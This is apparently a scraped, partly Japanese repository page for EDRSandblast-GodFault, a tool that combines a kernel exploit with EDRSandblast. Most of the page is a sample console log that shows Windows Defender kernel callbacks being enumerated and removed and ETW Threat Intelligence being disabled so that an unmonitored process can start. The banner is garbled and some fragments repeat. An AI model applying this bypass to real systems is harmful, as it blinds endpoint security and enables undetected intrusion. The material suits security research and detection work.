EDRSandblast-GodFault

Gabriel Landau（Elastic Security）による。EDRSandblast の改変版 - 詳細は以下にある元のREADMEを参照。

GodFault を EDR Sandblast に統合し、脆弱なドライバーを使用せずに同じ結果を実現します。

出力例```

C:\Users\user\Desktop\Offsets>EDRSandblast.exe --kernelmode cmd

| | __ | __ \ / | | | | | | | | | | | | | | |) | ( __ _ _ __ | | | | | __ _ | | | | | | | | _ / _ \ / | '_ \ / _ | ' | |/ ` / __| __| | || || | | \ \ ) | (| | | | | (| | |) | | (| _ | | ||_____/|| _|/ _,|| ||_,|_./||_,|__/__|

D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)

[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)

[===== KERNEL MODE =====]

[+] Setting up prerequisites for the kernel read/write primitives... [+] Loading kernel related offsets from the CSV file [*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe [+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)! [+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations... [+] [NotifyRountines] Enumerating process creation callbacks [+] Running command: GodFault.exe -t 2684 [?] Server does not appear to be running. Attempting to install it... [+] CSRSS PID is 748 [+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure [+] Ready. Spawning WinTcb. [+] SpawnPPL: Waiting for child process to finish. [+] Thread 2684 (KTHREAD FFFF910961E4C080) has been blessed by GodFault [+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500] [+] [NotifyRountines] fffff8034e9efdc0 [WdFilter.sys + 0x4fdc0] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460] [+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0] [+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980] [+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890] [+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0] [+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70] [+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00] [+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550] [+] [NotifyRountines] Found a total of 1 EDR / security products driver(s) [+] [NotifyRountines] Enumerating thread creation callbacks [+] [NotifyRountines] fffff8034e9f15c0 [WdFilter.sys + 0x515c0] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff8034e9f1350 [WdFilter.sys + 0x51350] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010] [+] [NotifyRountines] Found a total of 2 EDR / security products driver(s) [+] [NotifyRountines] Enumerating image loading callbacks [+] [NotifyRountines] fffff8034e9f0820 [WdFilter.sys + 0x50820] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710] [+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)

[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication... [+] [ObjectCallblacks] Enumerating Process object callbacks : [+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications: [+] [ObjectCallblacks] Status: Enabled [+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30] [+] [ObjectCallblacks] Callback belongs to an EDR and is enabled! [+] [ObjectCallblacks] Enumerating Thread object callbacks : [+] [ObjectCallblacks] Object callbacks are present !

[+] [ETWTI] Checking the ETW Threat Intelligence Provider state... [+] [ETWTI] ETW Threat Intelligence Provider is ENABLED!

[+] Process is NOT "safe" to launch our payload, removing monitoring and starting another process...

[+] [ETWTI] Disabling the ETW Threat Intel provider by patching ProviderEnableInfo at 0xffff91095ce8c430 with 0x00. [+] [ETWTI] The ETW Threat Intel provider was successfully disabled!

[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading... [+] [NotifyRountines] Removing process creation callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c2a8 | callback struct: 0xffff91095dbf3a5f | callback function: 0xfffff8034e9efdc0] [+] [NotifyRountines] Removing thread creation callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a0 | callback struct: 0xffff91095dbf3b1f | callback function: 0xfffff8034e9f15c0] [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a8 | callback struct: 0xffff91095dbf3b4f | callback function: 0xfffff8034e9f1350] [+] [NotifyRountines] Removing image loading callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c6a0 | callback struct: 0xffff91095dbf3e4f | callback function: 0xfffff8034e9f0820]

[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication... [+] [ObjectCallblacks] Disabling WdFilter.sys callback...

[+] All EDR drivers were successfully removed from Kernel callbacks!

================================================== Starting a new unmonitored process...

[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)

[===== KERNEL MODE =====]

EDRSandblast-GodFault

人気

EDRSandblast-GodFault

出力例```

================================================== Starting a new unmonitored process...